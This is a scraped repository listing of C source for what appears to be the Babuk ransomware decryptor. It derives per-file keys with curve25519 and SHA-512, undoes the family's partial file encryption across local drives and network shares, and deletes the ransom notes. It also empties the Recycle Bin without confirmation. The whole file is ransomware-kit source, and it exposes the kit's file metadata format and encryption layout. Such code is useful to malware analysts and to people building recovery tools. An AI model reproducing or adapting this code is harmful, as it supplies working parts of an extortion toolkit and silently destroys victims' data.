File size: 15,210 Bytes
21caab1
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
#include <Windows.h>
#include <TlHelp32.h>
#include <RestartManager.h>
#include <Wbemprov.h>
#include <iphlpapi.h>
#include <icmpapi.h>
#include <lm.h>

#include "hash/crc32.h"
#include "hash/sha512.h"
#include "eSTREAM/ecrypt-sync.h"
#include "ecc/curve25519-donna.h"

#include "memory.h"
#include "queue.h"
#include "args.h"

#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "netapi32.lib")
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "rstrtmgr.lib")
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "mpr.lib")

#pragma comment(linker, "/ENTRY:entry")
#pragma comment(linker, "/MERGE:.rdata=.text")

#define NOTE_FILE_NAME L"How To Restore Your Files.txt"

static const WCHAR* black[] = { L"Windows", L"Windows.old", L"Tor Browser", L"Internet Explorer", L"Google", L"Opera", L"Opera Software", L"Mozilla", L"Mozilla Firefox", L"$Recycle.Bin", L"ProgramData", L"All Users", L"autorun.inf", L"boot.ini", L"bootfont.bin", L"bootsect.bak", L"bootmgr", L"bootmgr.efi", L"bootmgfw.efi", L"desktop.ini", L"iconcache.db", L"ntldr", L"ntuser.dat", L"ntuser.dat.log", L"ntuser.ini", L"thumbs.db", L"ecdh_pub_k.bin", L"Program Files", L"Program Files (x86)", L"..", L"." };

static BYTE m_priv[32] = {
        'c', 'u', 'r', 'v', 'p', 'a', 't', 't', 'e', 'r', 'n', 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

#define VERSION_MUTEX "DoYouWantToHaveSexWithCoungDong"

#define CONST_BLOCK_PLUS 0x100000
#define CONST_BLOCK_MINUS -CONST_BLOCK_PLUS

#define CONST_LARGE_FILE 0x1400000
#define CONST_MEDIUM_FILE 0x500000

struct BABUK_KEYS {
    BYTE                 enc_key[32];
    BYTE                 enc_vec[32];
};

struct BABUK_FILEMETA {
    BYTE          curve25519_pub[32];
    DWORD                xcrc32_hash;
    LONGLONG                   flag1;
    LONGLONG                   flag2;
    LONGLONG                   flag3;
    LONGLONG                   flag4;
};

void _decrypt_file(WCHAR* filePath) {
    LARGE_INTEGER fileSize;
    LARGE_INTEGER fileOffset;
    LARGE_INTEGER fileChunks;



    if (WCHAR* newName = (WCHAR*)_halloc(32768 * sizeof(WCHAR))) {
        lstrcpyW(newName, filePath);
        (newName + (lstrlenW(filePath) - 6))[0] = L'\0';
        MoveFileExW(filePath, newName, MOVEFILE_WRITE_THROUGH | MOVEFILE_REPLACE_EXISTING);

        fileOffset.QuadPart = 0;
        HANDLE hFile = CreateFileW(newName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
        _hfree(newName);

        DWORD dwRead;
        DWORD dwWrite;

        BABUK_KEYS babuk_keys;
        BABUK_FILEMETA babuk_meta;

        ECRYPT_ctx ctx;

        if (hFile != INVALID_HANDLE_VALUE) {
        rescan:;
            BYTE dhsc[32];
            GetFileSizeEx(hFile, &fileSize);
            if (fileSize.QuadPart > (LONGLONG)sizeof(BABUK_FILEMETA)) {
                if (BYTE* ioBuffer = (BYTE*)_halloc(CONST_BLOCK_PLUS)) {
                    fileOffset.QuadPart = fileSize.QuadPart - sizeof(BABUK_FILEMETA);
                    SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
                    ReadFile(hFile, (BYTE*)&babuk_meta, sizeof(BABUK_FILEMETA), &dwRead, 0);

                    if (
                        babuk_meta.flag1 == 0x6420676e756f6863 && babuk_meta.flag2 == 0x6b6f6f6c20676e6f &&
                        babuk_meta.flag3 == 0x6820656b696c2073 && babuk_meta.flag4 == 0x2121676f6420746f
                        ) {
                        fileSize.QuadPart -= sizeof(BABUK_FILEMETA);

                        curve25519_donna(dhsc, (u8*)m_priv, babuk_meta.curve25519_pub);
                        SHA512_Simple(dhsc, 32, (BYTE*)&babuk_keys);
                        if (babuk_meta.xcrc32_hash == xcrc32((BYTE*)&babuk_keys, sizeof(BABUK_KEYS))) {
                            SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
                            SetEndOfFile(hFile);

                            ECRYPT_keysetup(&ctx, babuk_keys.enc_key, 256, 256);
                            ECRYPT_ivsetup(&ctx, babuk_keys.enc_vec);

                            fileOffset.QuadPart = 0;
                            SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
                            if (fileSize.QuadPart > CONST_LARGE_FILE) {
                                fileChunks.QuadPart = fileSize.QuadPart / 0xA00000i64;
                                for (LONGLONG i = 0; i < fileChunks.QuadPart; i++) {
                                    ReadFile(hFile, ioBuffer, CONST_BLOCK_PLUS, &dwRead, 0);
                                    ECRYPT_process_bytes(0, &ctx, ioBuffer, ioBuffer, dwRead);
                                    SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
                                    WriteFile(hFile, ioBuffer, CONST_BLOCK_PLUS, &dwWrite, 0);

                                    fileOffset.QuadPart += 0xA00000i64;
                                    SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
                                }
                            }
                            else if (fileSize.QuadPart > CONST_MEDIUM_FILE) {
                                LONGLONG jump = fileSize.QuadPart / 3;

                                for (LONGLONG i = 0; i < 3; i++) {
                                    ReadFile(hFile, ioBuffer, CONST_BLOCK_PLUS, &dwRead, 0);
                                    ECRYPT_process_bytes(0, &ctx, ioBuffer, ioBuffer, dwRead);
                                    SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
                                    WriteFile(hFile, ioBuffer, dwRead, &dwWrite, 0);

                                    fileOffset.QuadPart += jump;
                                    SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
                                }
                            }
                            else if (fileSize.QuadPart > 0) {
                                LONGLONG block_size = fileSize.QuadPart > 64 ? fileSize.QuadPart / 10 : fileSize.QuadPart;

                                ReadFile(hFile, ioBuffer, block_size, &dwRead, 0);
                                ECRYPT_process_bytes(0, &ctx, ioBuffer, ioBuffer, dwRead);
                                SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
                                WriteFile(hFile, ioBuffer, dwRead, &dwWrite, 0);
                            }

                            goto rescan;
                        }
                        else {
                            MessageBoxW(0, filePath, L"Key broken!", 0);
                        }
                    }
                    _hfree(ioBuffer);
                }
            }
            CloseHandle(hFile);
        }
    }
}

DWORD WINAPI lilBabuk(LPVOID lpData) {
    while (WCHAR* file = _que_pop()) {
        _decrypt_file(file);
        _hfree(file);
    }
    ExitThread(0);
}

void find_files_recursive(LPCWSTR dirPath)

{
    DWORD dwO;
    if (WCHAR* localDir = (WCHAR*)_halloc(32768 * sizeof(WCHAR)))
    {
        WIN32_FIND_DATAW fd;
        lstrcpyW(localDir, dirPath);
        lstrcatW(localDir, L"\\*");
        HANDLE hIter = FindFirstFileW(localDir, &fd);
        if (hIter != INVALID_HANDLE_VALUE)
        {
            do
            {
                for (DWORD i = 0; i < _countof(black); ++i) {
                    if (!lstrcmpiW(fd.cFileName, black[i])) {
                        goto skip;
                    }
                }

                lstrcpyW(localDir, dirPath);
                lstrcatW(localDir, L"\\");
                lstrcatW(localDir, fd.cFileName);

                if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
                {
                    find_files_recursive(localDir);
                }
                else {
                    for (int i = lstrlenW(fd.cFileName) - 1; i >= 0; i--) {
                        if (fd.cFileName[i] == L'.') {
                            if (lstrcmpiW(fd.cFileName + i, L".babyk") == 0) {
                                _que_push(localDir);
                            }
                            else goto skip;
                        }
                    }
                }
            skip:;
            } while (FindNextFileW(hIter, &fd));
            FindClose(hIter);
            lstrcpyW(localDir, dirPath);
            lstrcatW(localDir, L"\\" NOTE_FILE_NAME);

            DeleteFileW(localDir);
        }
        _hfree(localDir);
    }
}

void find_files_network(LPNETRESOURCEW netRes)

{
    HANDLE hEnum;
    DWORD dwEntries = -1;
    DWORD cbBuffer = 1024 * 16;
    if (WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, RESOURCEUSAGE_ALL, netRes, &hEnum) == NO_ERROR)
    {
        if (netRes = (LPNETRESOURCEW)_halloc(cbBuffer))
        {
            while (WNetEnumResourceW(hEnum, &dwEntries, netRes, &cbBuffer) == NO_ERROR)
            {
                for (DWORD i = 0; i < dwEntries; ++i)
                {
                    if ((netRes[i].dwUsage & RESOURCEUSAGE_CONTAINER) == RESOURCEUSAGE_CONTAINER) 
                        find_files_network(&netRes[i]);
                    else {
                        find_files_recursive(netRes[i].lpRemoteName);
                    }
                }
            }
            _hfree(netRes);
        }
        WNetCloseEnum(hEnum);
    }
}

void enum_shares(LPCWSTR addr) {
    PSHARE_INFO_1 BufPtr, p;
    NET_API_STATUS res;
    DWORD er = 0, tr = 0, resume = 0, i;
    WCHAR unc[100];

    do
    {
        res = NetShareEnum((LPWSTR)addr, 1, (LPBYTE*)&BufPtr, MAX_PREFERRED_LENGTH, &er, &tr, &resume);
        if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
        {
            p = BufPtr;
            for (i = 1; i <= er; i++)
            {
                if (p->shi1_type == STYPE_DISKTREE || p->shi1_type == STYPE_SPECIAL) {
                    if (lstrlenW(p->shi1_netname) > 2 && lstrcmpW(p->shi1_netname, L"ADMIN$") != 0) {
                        lstrcpyW(unc, L"\\\\");
                        lstrcatW(unc, addr);
                        lstrcatW(unc, L"\\");
                        lstrcatW(unc, p->shi1_netname);
                        find_files_recursive(unc);
                    }
                }
                p++;
            }
            NetApiBufferFree(BufPtr);
        }
    } while (res == ERROR_MORE_DATA);
}

void entry() {
    MessageBoxA(0, "Press 'OK' to start decryption process!", 0, 0);
    int argc = 0;
    LPWSTR* argv = CommandLineToArgvW(GetCommandLineW(), &argc);

    HANDLE hMutex = OpenMutexA(MUTEX_ALL_ACCESS, 0, VERSION_MUTEX);
    if (!hMutex) hMutex = CreateMutexA(0, 0, VERSION_MUTEX);
    else ExitProcess(0);

    SetProcessShutdownParameters(0, 0);

    _mem_initialize();
    ECRYPT_init();

    if (WCHAR* testfile = argz_value(argc, argv, L"testfile")) {
        _decrypt_file(testfile);
        ExitProcess(0);
    }

    SHEmptyRecycleBinA(0, 0, SHERB_NOCONFIRMATION | SHERB_NOPROGRESSUI | SHERB_NOSOUND);

    SYSTEM_INFO lcSysInfo;
    GetSystemInfo(&lcSysInfo);
    DWORD dwThreads = lcSysInfo.dwNumberOfProcessors * 2;
    _que_initialize(lcSysInfo.dwNumberOfProcessors * 3);

    WCHAR* lanPos = argz_value(argc, argv, L"lan");
    LPNETRESOURCEW lpRes = 0;
    if (HANDLE* hThreads = (HANDLE*)_halloc(dwThreads * sizeof(HANDLE))) {
        for (int i = 0; i < dwThreads; i++) {
            hThreads[i] = CreateThread(0, 0, lilBabuk, 0, 0, 0);
        }

        if (WCHAR* shares = argz_value(argc, argv, L"shares")) {
            int count = 1;
            int len = lstrlenW(shares);
            for (int i = 0; i < len; i++) {
                if (shares[i] == L',') {
                    shares[i] = L'\0';
                    count++;
                }
            }
            do {
                WCHAR* share = (WCHAR*)_halloc(sizeof(WCHAR) * (lstrlenW(shares) + 1));
                lstrcpyW(share, shares);
                enum_shares(share);
                _hfree(share);

                shares += lstrlenW(shares) + 1;
            } while (--count);
        }

        if (WCHAR* paths = argz_value(argc, argv, L"paths")) {
            int count = 1;
            int len = lstrlenW(paths);
            for (int i = 0; i < len; i++) {
                if (paths[i] == L',') {
                    paths[i] = L'\0';
                    count++;
                }
            }
            do {
                WCHAR* path = (WCHAR*)_halloc(sizeof(WCHAR) * (lstrlenW(paths) + 1));
                lstrcpyW(path, paths);
                find_files_recursive(path);
                _hfree(path);

                paths += lstrlenW(paths) + 1;
            } while (--count);
        }

        if (lstrcmpW(lanPos, L"before") == 0) {
            find_files_network(lpRes);
        }

        if (DWORD dwDrives = GetLogicalDrives()) {
            for (WCHAR disk = L'A'; disk <= L'Z'; ++disk)
            {
                if (dwDrives & 1)
                {
                    if (WCHAR* driveBuffer = (WCHAR*)_halloc(7 * sizeof(WCHAR))) {
                        lstrcpyW(driveBuffer, L"\\\\?\\");
                        lstrcpyW(driveBuffer + 5, L":");
                        driveBuffer[4] = disk;

                        if (DWORD driveType = GetDriveTypeW(driveBuffer)) {
                            if (driveType != DRIVE_CDROM) {
                                if (driveType != DRIVE_REMOTE) {
                                    find_files_recursive(driveBuffer);
                                }
                                else {
                                    DWORD remoteDrvSize = 260;
                                    if (WCHAR* remoteDrv = (WCHAR*)_halloc(remoteDrvSize * sizeof(WCHAR)))
                                    {
                                        if (WNetGetConnectionW(&driveBuffer[4], remoteDrv, &remoteDrvSize) == NO_ERROR) {
                                            find_files_recursive(remoteDrv);
                                            _hfree(remoteDrv);
                                        }
                                    }
                                }
                            }
                        }
                        _hfree(driveBuffer);
                    }
                }
                dwDrives >>= 1;
            }
        }

        if (lstrcmpW(lanPos, L"after") == 0 || lanPos == 0) {
            find_files_network(lpRes);
        }

        for (int i = 0; i < dwThreads; i++) {
            _que_push(0);
        }
        WaitForMultipleObjects(dwThreads, hThreads, TRUE, INFINITE);
        for (int i = 0; i < dwThreads; i++) {
            CloseHandle(hThreads[i]);
        }

        _hfree(hThreads);
    }

    MessageBoxA(0, "Your files decrypted, bye!", 0, 0);
    ExitProcess(0);
}